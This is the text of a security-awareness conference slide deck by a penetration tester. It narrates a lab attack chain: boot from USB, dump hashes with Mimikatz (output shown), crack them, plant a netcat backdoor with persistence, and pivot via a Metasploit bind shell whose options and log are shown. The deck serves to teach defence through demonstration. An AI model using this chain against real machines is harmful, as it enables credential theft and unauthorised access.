Training Through Real World Discovery

SPEAKER

Steve Lackey
Chief Security Researcher / CTO
Cyber Defense Technologies
Innovations in Cybersecurity Awareness and Training:
A 360-Degree Perspective
About the Presenter

Steve Lackey – OSCE, OSCP, OSWP | Chief Security Researcher / CTO – Cyber Defense Technologies

- Former Intelligence Community Penetration Tester
  - Spent extensive time working on offensive/defensive cyber operations while working for Intelligence Agencies

- Subject Matter Expert in Hacking
  - Industry recognized Security Researcher and has published multiple Zero Day exploits
  - Offensive Security OSCE/OSCP/OSWP Certified
  - Elected for CompTIA Subject Matter Expert – Developing Penetration Testing Course/Exam

- Role at CDT
  - CTO & Chief Security Researcher / Lead Penetration Tester
  - Leads the Company’s Research and Development efforts
  - Responsible for ensuring cutting edge ability and next generation capability
  - Leads and is heavily involved in all Offensive and Defensive Cyber Engagements, Threat Analysis, and Recovery efforts
Effective Security Training?
# Common Security Training

<table>
<thead>
<tr>
<th>Phishing</th>
<th>SQL Injection</th>
<th>Weak Passwords</th>
<th>Password Re-use</th>
<th>Data Breach</th>
<th>Default Accounts</th>
</tr>
</thead>
<tbody>
<tr>
<td>Don’t click on strange links</td>
<td>Sanitize your code</td>
<td>Use Complex Passwords</td>
<td>Don’t use the same password</td>
<td>Change your password</td>
<td>Change the password</td>
</tr>
<tr>
<td>Don’t respond to odd emails</td>
<td>Encrypt users passwords</td>
<td>Make password really long</td>
<td>Don’t use variations of a password</td>
<td>Change your username</td>
<td>Deactivate the Account</td>
</tr>
<tr>
<td>Don’t give info over the phone</td>
<td>Don’t use SQL</td>
<td>Use numbers and characters</td>
<td>Don’t use guessable passwords</td>
<td>Change your PIN</td>
<td>Lock the Account</td>
</tr>
</tbody>
</table>
There’s got to be a better way!
Instead, What if You...

- Provide a step by step walkthrough of today’s attack methods
- Detail the tools and methods used
- Highlight the areas that made the attack possible
- Illustrate why you shouldn’t use a weak password or re-use one and what can happen if you do
- Demonstrate how a leaked username/password can lead to the full compromise of an organization’s information systems and the data they maintain
- Provide ‘Real-World’ implications to help solidify the importance of proactive security practices
Do you know your adversary?
Many hackers, many talents...

- State Sponsored
- Industrial / Corporate
- Organized Crime
- Hacktivists
- Trusted Insider
- Script Kiddies
- Ethical/WhiteHat
- Security Researcher

Steps:
- Information and Intelligence Gathering
- Vulnerability Analysis
- Exploitation
- Post Exploitation
- Reporting
Do you password protect your BIOS? What could go wrong?
What Can Happen Without a Password?
We Can Boot Kali Linux on a USB Drive
Mount All Hard-Drives
Steal Files
Thanks Kali! We Have Users!
Good ol’ Mimikatz... We Have Our Hash

<table>
<thead>
<tr>
<th>Command</th>
<th>Output</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>lsadump</code></td>
<td><code>/system:SYSTEM /SAM:SAM</code></td>
</tr>
<tr>
<td>Domain</td>
<td>DESKTOP-D9P2V5T</td>
</tr>
<tr>
<td>SysKey</td>
<td>79123959f3b022323fe416cca44c45fa</td>
</tr>
<tr>
<td>Local SID</td>
<td>S-1-5-21-3888752530-3929382762-3575978953</td>
</tr>
<tr>
<td>SAMKey</td>
<td>c37007c65e36a5fd65317a8d385a14ca</td>
</tr>
<tr>
<td>RID</td>
<td>000001f4 (500)</td>
</tr>
<tr>
<td>User</td>
<td>Administrator</td>
</tr>
<tr>
<td>RID</td>
<td>000001f5 (501)</td>
</tr>
<tr>
<td>User</td>
<td>Guest</td>
</tr>
<tr>
<td>RID</td>
<td>000001f7 (503)</td>
</tr>
<tr>
<td>User</td>
<td>DefaultAccount</td>
</tr>
<tr>
<td>RID</td>
<td>000001f8 (504)</td>
</tr>
<tr>
<td>User</td>
<td>SuperUser</td>
</tr>
<tr>
<td>Hash</td>
<td>NTLM: 9234fb650859ad034b2de893e26838cf</td>
</tr>
<tr>
<td>RID</td>
<td>000003e8 (1000)</td>
</tr>
<tr>
<td>User</td>
<td>SteveLackey</td>
</tr>
<tr>
<td>Hash</td>
<td>NTLM: e62830daed8dbea4acd0b99d682946bb</td>
</tr>
</tbody>
</table>
Hash Cracked! Thanks Hashcat!
Now We Can Login 😊
We’re In!
So you got in my computer, what’s the big deal?
Let’s Start With a Backdoor...
Now We’ll Punch a Hole in the Firewall..
Netcat is Calling...
We Have a Manual Backdoor...
To persist or not to persist...that is the question!
We Automate Our Backdoor & Persist!
We persist! Now what?
Now we can use our Victim to Pivot

Module options (exploit/multi/handler):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Payload options (windows/shell/bind_TCP):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>EXITFUNK</td>
<td>process</td>
<td>yes</td>
<td>Exit technique (Accepted: ', seh, thread, process, none)</td>
</tr>
<tr>
<td>LPORT</td>
<td>4444</td>
<td>yes</td>
<td>The listen port</td>
</tr>
<tr>
<td>RHOST</td>
<td>192.168.56.129</td>
<td>no</td>
<td>The target address</td>
</tr>
</tbody>
</table>

Exploit target:

- Id  Name
  - * Wildcard Target

```bash
msf exploit(multi/handler) > exploit
[*] Started bind TCP handler against 192.168.56.129:4444
[*] Encoded stage with x86/shikata ga nai
[*] Sending encoded stage (267 bytes) to 192.168.56.129
```

Background session 17 [y/N] y
msf exploit(multi/handler) >
Let’s Get Busy on the Network

Slide Credit: https://www.addictivetips.com/windows-tips/windows-8-file-sharing-share-users-system-folders-on-network/attachment/access-share-folders-png/
Speaking of the Corporate Network
Maybe I Should Clear My Cache?
How about your finances?
You should really clear your cache
Everyday users trained by conventional means remain vulnerable.

With increasing attack activity and high stakes, repetitive cyber-training seems to have lost effectivity.

Impactful stories of “Real World” examples show the art of the possible and demonstrate consequences of not practicing good cyber hygiene.

Liberate your brightest to create examples using a variety of techniques to expand cyber awareness.

Creative Training produces educated users that can both prevent poor security practices and recognize/report a variety of attack attempts in real time. They are your first line of defense, and with the right training/tools, they can be one of the best security assets to your organization.
Cyber Defense Technologies

- “Niche” cyber security firm focusing on Secure Systems Design, Security Testing & Exploitation, Regulatory Compliance Readiness
- Serving federal agencies, state & local governments and commercial firms
- SDVOSB founded in 2010 by Industry Experts from the Federal Sector
- Co-Founders of VetCon and Co-Organizers of InfoWarCon

Contact Info

- 1818 Library Street, #500, Reston, VA 20190
- 800-658-1846
- info@cyberdefensetechnologies.com

Questions? Comments? Let Us Know!
See You on Social Media

FACEBOOK
www.facebook.com/CDTLLC

TWITTER
@CDTLLC
@HackToProtect